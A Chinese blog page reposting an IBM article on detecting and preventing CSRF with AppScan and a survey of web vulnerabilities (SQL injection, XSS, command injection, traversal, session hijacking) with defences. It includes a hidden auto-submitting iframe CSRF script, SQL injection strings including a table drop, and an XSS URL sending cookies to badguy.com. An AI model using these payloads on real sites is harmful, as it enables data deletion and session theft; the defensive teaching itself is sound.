2013年5月28日星期二

Web 应用程序常见漏洞 CSRF 的入侵检测与防范

Web 应用程序常见漏洞 CSRF 的入侵检测与防范

苏 进军, 软件工程师, IBM
乌 晓峰, 软件工程师, IBM
简介: 互联网的安全问题一直存在,并且在可预见的未来中没有消弭的迹象,而在软件开发周期中,加入对产品 安全问题的检测工作,将极大的提升对应安全问题解决的成本,对维护一个好的产品形象至关重,在竞争愈烈的网络应用产品中的生命力也将更长。本文要介绍的跨 站请求伪(CSRF)在众多的攻击手段中,更具备隐蔽性,同时有更高的危害性。笔者将对其的基本特性,攻击手段,危害及防范手段,以及如何使用 Rational AppScan 对 CSRF 攻击做检测及分析做一个系统的阐述。
发布日期: 2010 年 5 月 31 日
级别: 初级
访问情况 : 4635 次浏览
评论: 0 (查看 | 添加评论 - 登录)
平均分 5 星 共 13 个评分 平均分 (13个评分)
为本文评分

下载试用版:IBM® Rational® AppScan 标准版  |   Web 应用安全与 IBM Rational AppScan 工具包
获取免费的 Rational 软件工具包系列,下载更多的 Rational 软件试用版

CSRF 的基本概念特性
跨站请求伪造(CSRF)的是 Web 应用程序一种常见的漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量 Web 2.0 技术的应用的背景下,CSRF 攻击完全可以在用户法毫无察觉的情况下发起攻击。国际上并未对 CSRF 攻击做出一个明确的定义,同时,攻击的发起手段方式繁多,下文会做详细介绍。可以解释的是发起的目标都是通过伪造一个用户请求,该请求不是用户想发出去的 请求,而对服务器或服务来说这个请求是完全合法的一个请求,但是却完成了一个攻击者所期望的操作,比如添加一个用户到管理者的群组中,或将一个用户的现金 转到另外的一个帐户中。通常开发人员对 CSRF 攻击的理解是有误区的,分为以下几方面,第一是如何攻击的,第二是危害到底在那里,第三是如何防范就才是一个完整的解决方案。本文就是要对这些基本的问题 做一个详细的阐述,并且给出检测的有效方法。
CSRF 的危害实例
大部分网站往往对脚本注入有严格的防范,但是对 CSRF 的防范做的就差很多。
实例 1:假设某网站高级会员会享有某些特殊权限。而当一个普通用户付款完毕就可以让管理员将自己升级为高级会员。假设管理员将一个普通用户升级为高级会员的请求是:
http://www.mysite.com/promoteUser.jsp?username=aaaaa

我们再假设普通用户有在网站某个论坛发表话题的权限,这样一个普通用户可以将这个 URL 发表在某些话题之中,然后用我们称为社会工程学的方法引诱网站管理员点击这个链接。当管理员点击这个链接时,这个请求就会从浏览器发送到后台服务器,从而 完成身份的升级。当然,在实际攻击过程中,有很多手段使得让管理员不点击也能发送这样的请求,比如将这个 URL 设置为某个图片的源。
实例 2:以一个二手跳蚤市场为例子,比如某商业交易网站注册用户 Hacker01 和 Customer01。Hacker01 在上交易频道摆上 1 辆 9 成新的宝马,投标价格是 20000$,另外再摆上另外一量废旧车型标价 1000$,然而网站是允许加载图片显示车的状况的。所以宝马车主可以上载一个自己的图片,废旧车主也可以上载一个自己的图片。
宝马图片 url:http://myrepository/BMW.jpg car id 100000001
废旧车图片 url:http://myrepository/oldCar.jpg car id 100000002
而该拍卖网站是通过投标决定车的最终价格,假设是竞买者参加竞买宝马的时候点击购买按钮浏览器是通过发一个 GET 请求到 http://e-bussiness-car/bid?value=20000$&carid=100000001 来提交自己的竞标价格。那么 Hacker01 则可以把废旧车图片修改为 http://e-bussiness-car/bid?value=20000$&carid=100000001(或者其他的 value 参数的数值)。
这时候的情况是:Customer01 访问宝马能看见正确的图片,并且没有任何问题。而访问废旧车发现图片是一个无法看到的图片,但当 Customer01 浏览旧车图片的时候,浏览器已经向宝马车发送了一个竞标请求。这样在用户的控制之外发出了一个合法的请求,并且被服务器接收。Hack01 可以在 Customer01 不知觉的情况下将自己的宝马车卖出。通过此例可以发现 CSRF 有着非常严重的危害性。
CSRF 攻击的基本路径及方法
HTTP 协议中定义了,GET/POST/PUT/DELETE 四种基本操作方法如图 1 标记-1 所示 GET/POST 是所有网站或服务器必须使用的操作方法,而 PUT/DELETE 功能强大,但是在以往的应用中并没有被广泛的使用,直到 Web 2.0 的出现,Ajax 的引用导致 PUT/DELETE 在 REST 框架下被发扬光大,大量使用,也使 CSRF 的攻击手段中多了一种攻击方式。本文以常用的 GET/POST 为实例,这两者是被浏览器用作与服务起进行数据交互的主要手段,并包含 Ajax 框架下的攻击介绍。
CSRF 攻击的方法多种多样,而对这些攻击方法的认识将更有助于去检查或在产品设计中加入对 CSRF 攻击的防范使整个产品的开发的代价更小。按照攻击的方式来看,分为显式攻击和隐式攻击。显示攻击对用户来说是可以察觉的,例如通过各种方法向受害者发送链 接,而隐式攻击则很难察觉,往往是访问了一个有漏洞的页面,或者一个恶意的页面,使用频率更多的则是隐性攻击,因为其更具备可操作性。下边介绍到的攻击方 法都可以采取隐式攻击方法。要注意的是,用户网站是否存在脚本注入的漏洞,并不影响 CSRF 攻击,通过使用第 3 方存在安全隐患的网站一样可以完成 CSRF 攻击。
对图 1 的基本解释,标记-1 是合法用户对用户网站的访问,执行合法有效的操作;标记-2 是通过邮件系统对用户发动攻击;标记 3 是利用 Web 的网站,包括用户的操作网站,普通网站,以及黑客网站,标记-4、5、6 指的是有害用户(标记-3)利用的 3 种方式来攻击受害用户。

图 1. CSRF 攻击示意图
图 1. CSRF 攻击示意图
对 GET 请求的 CSRF 漏洞的攻击方式
GET 请求使用的频率最高,隐式的 GET 请求,例如 <img> <script><frame><iframe>,在页面中引入上述页面元素,并且设置 SRC 属性就能在用户未知的情况下发出一个 GET 请求到想去攻击的网站。
以 IMG 标签为例,攻击者可以通过在图 1 中的标记-5、标记-6、标记-2、标记-4 的途径发起攻击。这种攻击的特征是无明显提示,但是已经发出一个具有完整合法的用户请求。
<img src=http://UserSite/admin/deletepage?id=74NBCDSEFG/>

对于一个大量采用 GET 请求的网站,隐式的通过 http 标签发出一个 GET 请求将是致命的。
具体的可执行情形描述将在如何检测部分给出。
对 POST 请求的 CSRF 漏洞的攻击方式
对 CSRF 有一种理解是把 GET 改为 POST 请求就认为是可以防止被攻击实际上是一种错误的理解,通过使用 <iframe> 一样可以完成一个隐式的 CSRF 攻击,具体脚本写法如下。

清单 1. Frame1.html 脚本
<script>
function post(url, fields) {
 var p = document.createElement('form');
 p.action = url;
 p.innerHTML = fields;
 p.target = '_self';
 p.enctype = 'multipart/form-data';
 p.method = 'post';
 document.body.appendChild(p);
 p.submit();
}

function csrf_hack() {
 var fields;
 var csrf="<addMember 
   dnName="CN=manager 9/OU=Managers/OU=Users/O=QDSVT/DC=CN/DC=IBM/DC=COM" 
   accessLevel="Author" isPerson="1" isLocal="0"/>";
 fields += "<input type='' name='action' value='"+csrf+"'>";
 unescape(fields);
 post('http://usersite:80/dm/services/DocumentService?do401=true',fields);
 alert("csrf_end");
}
 csrf_hack();
 alert('end')
</script>


清单 2. IFrame.html
<IFRAME src=./frame1.html width=0 height=0></IFRAME>

这段代码通过脚本构造一个表单提交,通过 IFRAME 加载页面自动执行本例,IFRAME 宽高属性设置成零的目的是为了达到隐式攻击的效果,JAVASCRIPT 只对窗口的大小有不成文的规范,宽高不能小于 50 像素点,但是对 iframe 并没有要求,这为隐式的跨域 Post 攻击提供了一个量好的途径。写成脚本的形式并不是说明只要被检测的站点没有脚本注入就没有任何问题,POST 隐式攻击方式一样可以通过第 3 方,如图 1,4,5,6 攻击路径都适合本例的使用。
Web 2.0 攻击方式
Web 2.0 技术因其能大幅度提升用户的体验,已经被非常广泛的使用,并且 Web 2.0 技术对跨站请求的提交有严格的检查,所以一般不用担心来自第三方的 xmlhttp 发出的 CSRF 攻击。Web 2.0 技术如果在本站点存在脚本注入漏洞,将会产生严重的 CSRF 攻击问题;另外一条攻击路径则是通过邮件系统,向受害用户发送带有 xmlhttp 请求的脚本文件,是否产生危害取决于用户是否执行该文件,危害性明显低于前两种。
对于发邮件,或者网站上传的文件发起攻击的案例是由 IE 的特性造成,由于 IE 允许从本地域 (local domain) 对任意域发送,一个包含 Web 2.0 代码的例子就能使 IE 完成成一次离线状态的攻击,IE 允许通过对策略的修改以达到严格的安全配置,从而禁止对同域内容的访问。
以下是通常使用的对 Web 2.0 类型的跨站漏洞的攻击代码。

清单 3. 通常使用的对 Web 2.0 类型的跨站漏洞的攻击代码
<script>
alert('start delete');
var payload="<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Header>
  <serviceVersion>8.0.0
  </serviceVersion></soap:Header><soap:Body><deleteDocument 
  xmlns="http://webservices.clb.content.ibm.com"> 
    <path>/@Pcsrftestplace/@RMain.nsf/@F/@DE44FD4FF0956D07648257570002C42DA
    </path>
    </deleteDocument></soap:Body></soap:Envelope>";
alert(message);
var client = new XMLHttpRequest();
 client.open("POST", 
 "http://usercite.com /files/form/api/collections/
 2d0f6188-8872-4722-8922-3a3c842aa443/entry?format=xml ");
 client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
 client.setRequestHeader("x-method-override","DELETE"); 
 client.setRequestHeader("x-requested-with","XMLHttpRequest");
 (you can customized the header if you need)
 client.send("");
</script> 
<html>

登陆 CSRF 攻击方式
登陆式的跨站请求伪造是一种较新的攻击方式,让用户错误的以为是用自己的帐户密码登陆,实际上是登录到一个 Hacker 的账户。这种攻击方式的最显著的特征是,Hacker 可以监听到用户的实际操作,通过查询历史记录可以知道用户做了那些操作,如果是在商业网站则会在历史记录中留下信用卡号,如果是在个人信息相关系统则会留 下用户的隐私操作。
使用 Rational AppScan 对 CSRF 的检测
APPSCAN 是 IBM 收购 WatchFire 之后获得一款强大的网络安全的检测工具,目前属于 Rational 产品线,功能集中在网络应用产品的检测防范上,分静态与动态两种不同的功能,覆盖代码与产品的两端检测需求。
APPSCAN 自从 7.7 的版本以后加入对 CSRF 的防范,基本原理是通过对同一个需要检测的 URL 或者 SERVICE 按照顺序发出两次请求,发送两次请求之间会做一次退出登录状态的操作,如果一个对 CSRF 已经进行防范的网站是会发送回两个不同的回应内容。实例的说明如下。
请求 1
GET/POST http://myproduct.com/services?action=remove&id=10002
Headers ….. …..

 
Content: …… 

返回内容 1
Response 200
Headers …. …..
Content:…..

请求 2
GET/POST http://myproduct.com/services?action=remove&id=10002
Headers ….. …..

 
Content: …… 

返回内容 2
Response 200
Headers …. …..
Content:…..

返回内容 1 和返回内容 2 如果是完全一致的则可以认为是有问题的,反之则可以认为是没有问题。看似简单的原理,在实际操作中有个很繁琐的逻辑问题,比如请求 1 是一个删除动作,那么如何去构造一个请求 2,并且获得一个一致的结果呢?解决的办法是,要先做一个操作 1,然后再创建一个同样的 1,再做操作 2。
从上述的简单例子就可以发现有效监测 CSRF 是一个较为繁琐的过程。AppScan 的检测前提就是对目标资源的操作在不同的一个 Session 中返回的内容肯定是应该不一样的。
这里要注意的问题是误报,Web 应用程序操作大多都是对一个固定的 URL 的请求,包含一些资源文件,以及一些功能性的请求。对于资源文件的操作,很多情况下都是一个静态的请求,在未使用 PUT/DELETE 的应用程序,是无需对 GET 请求进行 CSRF 测试,在这种情况下是不存在 CSRF 漏洞的。而如果使用了 Ajax 框架的应用程序如果存在 DELETE/PUT 操作则需注意很可能出现严重的 CSRF 问题。未使用 Ajax 的产品则集中在 GET/POST 请求,需要注意的是 GET/POST 请求对 CSRF 来说是同样具有可操作性的,对产品的危害性是一致的。
对 CSRF 测试的两个主要方向是路径覆盖测试,和精确测试。之所以是要做如此分类的原因是一个产品有大量的 URL 如果一一测试需要大量的时间精力,覆盖测试是由工具去完成的是为了保证覆盖到产品的各个路径,有些产品实际上已经对 CSRF 有很深的认识,在这种情况下大多数资源已经被很好的保护起来,没有 CSRF 的问题,这时候一个对全路径的测试就是很必要的。
精确测试是由人来完成的通过分析产品功能和开发人员的沟通,阅读设计文档来完成的。为何要做精确测试的原因是,所有 Web 应用程序非常关注的问题之一就是产品的性能,而对所有请求都做 CSRF 防范的话就比如在一个高速公路上设置一个人工收费站一样会大大影响性能,一个好的 Web 应用在对 CSRF 防范是有针对性的,对一个没有 CSRF 保护的产品,一个良好的 CSRF 保护开端可以是由精确测试的结果为发起的。通过对固定功能的检测,以及对设计文档的了解,基本就可以断定产品是否做了 CSRF 保护。
一个正常的使用 Appscan 来检测 CSRF 的流程如图 2 所示。

图 2. 一个正常的使用 Appscan 来检测 CSRF 的流程
图 2. 一个正常的使用 Appscan 来检测 CSRF 的流程
AppScan 使用流程,AppScan 执行过程的一个分解,如图 3。

图 3. AppScan 执行过程的一个分解
图 3. AppScan 执行过程的一个分解
精确测试的方法,目的是为了检测是否存在 CSRF 保护。对 CSRF 保护有个范围约束的问题,并不是所有的请求都需要对 CSRF 攻击做防范。对静态资源除非有 DELETE/PUT 操作允许的情况下,才需要进行测试;而对于关键的业务逻辑,比如银行转帐,确认收货人信息,参加竞标,删除一个用户,赋予用户高级权限,等等,对这类定性 问题的约束是根据不同的商业产品各异,要具体问题具体分析。
本例以常见的页面删除为实例,阐述一个可以的测试方法。大概分为以下几种情况 :
使用 GET 来删除页面的,使用 DELETE/PUT 来删除页面的,使用 POST 来删除页面的,都是服务器与客户端的交互过程,具体的实例分析起来要远比分类更为复杂,一个操作可能带有很多各样的请求,找到有威胁的请求才是最终目的, 有时候哪怕是 AppScan 已经定位到具体是那个请求,也还需要通过手工将这个案例找出加以描述成为有实际操作价值的场景,这里就需要引入手工测试工具加以支持。
手工工具的介绍,做精确测试需要对 HTTP 请求做频繁的操作,如果需要查看请求的内容,还有对具体请求的操作的观察,推荐使用 Fiddler 或者 WebScarab。
开始手动验证之前,还需要清楚 CSRF 发生的条件。所有的问题的发生有个前提条件是用户常用的浏览器中有一个与目标服务器处于激活状态的会话。这个条件需要的原因是,CSRF 攻击的模式是用户 A 被恶意用户 B 所攻击,攻击是 B 发起的被用户 A 执行实现的。
而 B 往往是在 A 常去的网站注入代码,或者发送链接或者包含附件的文件给 A,而包含着恶意代码或者链接的页面要被执行,条件是用户 A 已经处在和服务器的会话之中,这也是 CSRF 发生的前提条件,也是手工测试的基础。
对 GET CSRF 漏洞的测试
GET 请求的情况下,请求如 http://mysite/service?action=delete&pageid=100001 这类问题的验证最为直接,并且无需写脚本和使用 fiddler 工具去观察实际的请求的格式。检测方法就是在维持一个与服务器连接的前提下,在浏览器地址栏输入如下网址,如果实际的页面被删除了就是 CSRF 攻击成功了。对于如此清楚的实例基本看到 URL 已经可以证明没有任何 CSRF 保护。
可关联的攻击场景如下,在任何可以显示图片的地方写入如下 <img src=http://mysite/service?action=delete&pageid=100001 width=0 height=0/>,另外只需要指引有删除权限的用户访问一下包含这个图片标签的网页,往往是通过发一个邮件或者 MSN 一个简单的链接就可以完成删除页面的操作。
对 POST CSRF 漏洞的测试
POST 请求的操作并不能免除 CSRF 的攻击。在浏览器中要发出 POST 请求,可以使用两种方法,一个是通过脚本调用页面文档元素 form 直接进行提交操作,特点是可以进行跨域的脚本提交,隐式攻击。另一种是通过使用 Ajax 对象直接发出请求,但是由于不能跨域发出请求,可执行的力度并不高,但是还是有可能性。同样是一个删除页面的操作,如下所示结构。
POST http://mysite/service
Headers….

Action=delete&pageid=100001

这个不同于 GET 之处是不能简单的通过在浏览器直接输入一个链接就能测试。需要借助一下预设好的 HTTP 服务器如 IBM HTTP Server、Domino,或者 IIS。将 IFrame.html 的清单拷贝到服务器的一个目录。通过修改 frame1.html 中的 csrf_hack() 如下。

清单 4. 修改 frame1.html 中的 csrf_hack()
function csrf_hack() {
  var fields;
 fields += "<input type='' name='action' value='"+"delete"+"'>";
 fields += "<input type='' name=pageid value='"+"1000001" +"'>";
 unescape(fields);
 post('http://mysite/service ',fields);
 alert("csrf_end");
}

可关联的攻击场景如下 ,通过邮件或者 MSN 发送一个链接 http://hackerWebServer/iframe 给可以删除页面的用户,该操作就会被执行,如果页面删除,攻击成功。通过在其他网站可以做脚本注入的将 iframe.html 脚本写在该网站,一样可以达到攻击效果。
另一类通过 Ajax 提交的 post 请求,这类结构中多采用 SOAP message 或者类似的 XML 消息体,或者 Jason 消息体提交请求。结构如下。
POST http://mysite/service
Headers….

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" 
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Header>
<serviceVersion>8.0.0</serviceVersion>
</soap:Header><soap:Body>
<deleteDocument 
xmlns="http://webservices.clb.content.ibm.com"> 
<path>/@Pcsrftestplace/@RMain.nsf/@F/@DE44FD4FF0956D07648257570002C42DA
</path></deleteDocument></soap:Body></soap:Envelope>

在此类情况下,需要修改 form 的表单的 enctype 属性为 multipart/form-data,因为在默认的情况下是 application/x-www-form-urlencoded,所有字符都会做 URL 编码转换,提交的数据是不合法的无法被服务器端识别,所以需要修改 enctype 属性,在 multipart/formdata 的情况下,数据是不会被编码的,而在很多服务器的接收端有的就是使用 multipart/formdata 去接受数据。由于 javascript 出于对安全的考虑禁止脚本自动修改 form 中提交的 file 属性的输入的值,所以想通过脚本修改控制 enctype 是不允许的,这样不同于第一类 POST 请求。但是并不影响场景的合理性,通过在有漏洞的网站伪造表单请求,form 指向我们要操作的 URL 即可。这种情况下,需要构造一个完整的表单,并通过用户点击一个任意方式发送的链接达到攻击效果。
对 DELETE/PUT CSRF 漏洞的测试
DELETE/PUT 请求依赖于 Web 2.0 技术,由于本身的限制,自由发出跨站的伪造请求是不可能的。更多使用的是离线攻击,或者本站点的脚本注入攻击。在存在本站点脚本注入攻击的情况下,所有这 4 种情况下,都可以完成隐式的攻击方式。代码请参照 Web 2.0 攻击章节的实例。
CSRF 的防范
CSRF 的防范机制有很多种,防范的方法也根据 CSRF 攻击方式的不断升级而不断演化。常用的有检查 Refer 头部信息,使用一次性令牌,使用验证图片等手段。出于性能的考虑,如果每个请求都加入令牌验证将极大的增加服务器的负担,具体采用那种方法更合理,需要谨 慎审视每种保护的优缺点。
1. 检查 HTTP 头部 Refer 信息,这是防止 CSRF 的最简单容易实现的一种手段。根据 RFC 对于 HTTP 协议里面 Refer 的定义,Refer 信息跟随出现在每个 Http 请求头部。Server 端在收到请求之后,可以去检查这个头信息,只接受来自本域的请求而忽略外部域的请求,这样就可以避免了很多风险。当然这种检查方式由于过于简单也有它自身 的弱点:
a) 首先是检查 Refer 信息并不能防范来自本域的攻击。在企业业务网站上,经常会有同域的论坛,邮件等形式的 Web 应用程序存在,来自这些地方的 CSRF 攻击所携带的就是本域的 Refer 域信息,因此不能被这种防御手段所阻止。
b) 同样,某些直接发送 HTTP 请求的方式(指非浏览器,比如用后台代码等方法)可以伪造一些 Refer 信息,虽然直接进行头信息伪造的方式属于直接发送请求,很难跟随发送 cookie,但由于目前客户端手段层出不穷,flash,javascript 等大规模使用,从客户端进行 refer 的伪造,尤其是在客户端浏览器安装了越来越多的插件的情况下已经成为可能了。
2. 使用一次性令牌,这是当前 Web 应用程序的设计人员广泛使用的一种方式,方法是对于 Get 请求,在 URL 里面加入一个令牌,对于 Post 请求,在隐藏域中加入一个令牌。这个令牌由 server 端生成,由编程人员控制在客户端发送请求的时候使请求携带本令牌然后在 Server 端进行验证。但在令牌的设计上目前存在着几个错误的方案:
a) 使用和 Session 独立的令牌生成方式。这种令牌的值和 Session 无关,因此容易被其他用户伪造。这里的其他用户指的是当前 Web 应用程序的其他用户和活跃在网络传输阶段各个设置上的监听者,这种恶意用户可能使用自己的令牌来进行替换以便达到伪造的目的。
b) 完全使用 Session 认证信息作为令牌的生成方式。这种保护方式对于保护 CSRF 是起了作用的,但是可能会造成其他危害,具体来说,如果某些 URL 或者网页被拷贝下来与其他人共享,那么这些 URL 或者拷贝下来的网页中可能会含有用户的会话信息,这种信息一旦被恶意用户获得,就能造成极大的危害。
因此,一个正确的令牌设计应该是使用 Session 信息做 Hash,用得出的哈希值来做 CSRF 的令牌。
3. 使用验证图片,这种方法的出现的作用是对于机器人暴力攻击的防止。但在 CSRF 的防范上,也有一些安全性要求比较高的的应用程序结合验证图片和一次性令牌来做双重保护。由于这种图片验证信息很难被恶意程序在客户端识别,因此能够提高 更强的保护。当客户端的浏览器可能已经处于一种不安全的环境中的情况下(比如客户端的安全级别设置较低,客户端浏览器安装了不安全的插件等)。
以上给的这些只是防范 CSRF 的比较通用的一些方法,Web 开发人员可以根据自己对自己的应用程序的功能的理解来确定安全级别的要求从而选择使用不同的保护措施,也推荐在同一应用程序内部结合使用多种方法来进行保护。
总结
CSRF 攻击作为一个存在已久的攻击方式,在大量的商业网站上都可以找出,应用本文的知识作出一个合理的分析,有针对性的提出改进方案才是本文作者希望看到的,在 即不损害应用程序的性能的前提下,提高安全性;而对即将开发的网络应用程序来说,深刻理解其的危害性,在设计阶段就考虑到对 CSRF 的防范,无疑能收到更好的效果。

参考资料

Web的脆弱性:各种注入、攻击


Web的脆弱性:各种注入、攻击

分类: 【软件开发知识】 279人阅读 评论(0) 收藏 举报
目录(?)[+]

SQL注入

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
通过一下的例子更形象的了解SQL注入:
有一个Login画面,在这个Login画面上有两个文本框分别用来输入用户名和密码,当用户点了登录按钮的时候,会对输入的用户名和密码进行验证。验证的SQL语句如下:
  1. select * from student where username='输入的用户名' and password='输入的密码'  
如果能够检索到数据,说明验证通过,否则验证不通过。

如果用户在用户名文本框中输入 ' or '1' = '1' or '1' = '1,则验证的SQL语句变成:
  1. select * from student where username='' or '1' = '1' or '1' = '1' and password=''  

如果用户在密码文本框中输入 1' or '1' = '1,则验证的SQL语句变成:
  1. select * from student where username='' and password='1' or '1'='1'  

以上两个SQL语句的where条件永远是成立的,所以验证永远是有效的。


如果在用户名文本框中输入  tom' ; drop table student-- ,则SQL语句变成:
  1. select * from student where username='tom' ; drop table student--' and password=''  
这样就变成的两条SQL语句,执行完查询操作,接着直接把student表给删除了(双连接符表示注释)
如何防止SQL注入:
  1. 永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。
  2. 永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
  3. 永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
  4. 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
  5. 应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
  6. 采用一些工具或网络平台检测是否存在SQL注入

OS命令注入

OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的。OS命令注入即能够在服务器上执行任意命令。
如何防止OS命令注入:
  1. 不要调用外部程序。举个例子,在UNIX系统上,有一个叫CGI的程序,可以执行sendmail命令来发送邮件。也许你的web应用程序也有发 送邮件的功能,通过直接调用CGI程序发送邮件非常的简单,但是不要这样做,因为在执行sendmail命令的同时,也会混杂进其他OS命令,正确的做法 是使用发送邮件的library。
  2. 过滤调 、; ,[ ,] ,| ,< ,> ,\ 之类的符号
  3. 设置用户的权限

XSS跨站脚本攻击

XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的比如获取用户的Cookie,导航到恶意网站,携带木马等。
XSS攻击场景有以下两个方面:
1. Dom-Based XSS 漏洞。攻击过程如下
Tom 发现了Victim.com中的Search.asp页面有XSS漏洞,Search.asp的代码如下:
  1. <html>  
  2.   <title></title>  
  3.   <body>  
  4.     Results  for  <%Reequest.QueryString("term")%>  
  5.     ...  
  6.   </body>  
  7. </html>  
Tom 先建立一个网站http://badguy.com,用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下),通过某种方式(邮件,QQ)发给Monica http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL,嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行,那么Monica在 victim.com网站的cookie,就会被发送到badguy网站中,这样Monica在victim.com 的信息就被Tom盗了
2. Stored XSS(存储式XSS漏洞)。该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,于是Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。其他人如Monica访问这片文章 的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户。
如何防止XSS跨站脚本攻击:
原则:不相信用户输入的数据
注意:攻击代码不一定在<script></script>中
  1. 将重要的cookie标记为http only,这样的话Javascript 中的document.cookie语句就不能获取到cookie了
  2. 只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字,而数字之外的字符都过滤掉
  3. 对数据进行Html Encode 处理。< 转化为 &lt;、> 转化为 &gt;、& 转化为 &amp;、' 转化为 &#039;、" 转化为 &quot;、空格 转化为 &nbsp;
  4. 过滤或移除特殊的Html标签。例如:<script>、<iframe>、&lt; for <、&gt; for >、&quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick="、"onfocus" 等等
很多浏览器都加入了安全机制来过滤XSS(如下图,在ie中输入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>)


CSRF跨站请求伪造

CSRF(XSRF)尽管听起来很想XSS跨站脚本攻击,但是它于XSS完全不同。XSS是利用站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的站点。
与XSS相比,CSRF攻击不大流行和难以防范,所以比XSS更具危险性。
以下是一个CSRF的例子
受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求http://bank.example/withdraw?account=bob& amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob& amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。
如何防止CSRF跨站请求伪造:
  1. 对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field)。
  2. “双 提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。什么叫限制跨域规则呢?限制跨域规则就是:如果服务器需要在Post请求体或 者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。上面那个例子的受信任域就是银 行网站的某个域,而Mallory发给Bob的链接不是受信任的域。
  3. 使用Post代替Get。Post方式不会在web服务器和代理服务器日志中留下数据尾巴,然而Get方式却会留下数据尾巴。
  4. 以上三点都是正对web站点的防御手段,第4点是从用户的角度的防御手段。通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie来防止CSRF攻击。

目录遍历漏洞

目录遍历漏洞在国内外有不同的叫法(信息泄露漏洞、非授权文件包含漏洞、等等)。目录遍历漏洞就是在程序中没有过滤用户输入的../和./之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件,其危害可想而知。
如何防止目录遍历漏洞:
  1. 权限控制
  2. 对包含了恶意的符号或者空字节进行拒绝
  3. 使用绝对路径+参数来控制访问目录,使其即使是越权或者跨越目录也是在指定的目录下

参数篡改

参数值窜改是网络攻击的一种形式,其中在URL中的某些参数或由用户输入的网页形式领域数据都在没有得到用户授权的情况下改变了。这导致浏览器指向 一个不是用户想去的链接、网页或网站(尽管对随机观测者来说它们看上去几乎一样)。参数值篡改被犯罪者用来获取个人或商业信息。
如何防止参数篡改:
  1. 对所有参数值进行验证
  2. 根据session id进行迁移,参数使用服务器端的值

会话劫持

会话劫持就是在一次正常的会话过程当中,攻击者作为第三方参与到其中,他可以在正常数据包中插入恶意数据,也可以在双方的会话当中进行监听,甚至可以是代替某一方主机接管会话。
我们可以把会话劫持攻击分为两种类型:1)中间人攻击(Man In The Middle,简称MITM),2)注射式攻击(Injection)
中间人攻击:简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情
注射式攻击:这种方式的会话劫持比中间人攻击实现起来简单一些,它不会改变会话双方的通讯流,而是在双方正常的通讯流插入恶意数据

还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持
被动劫持:在后台监视双方会话的数据流,丛中获得敏感数据
主动劫持:将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大,攻击者可以做很多事情
如何防止会话劫持:
  1. 限制入网的连接
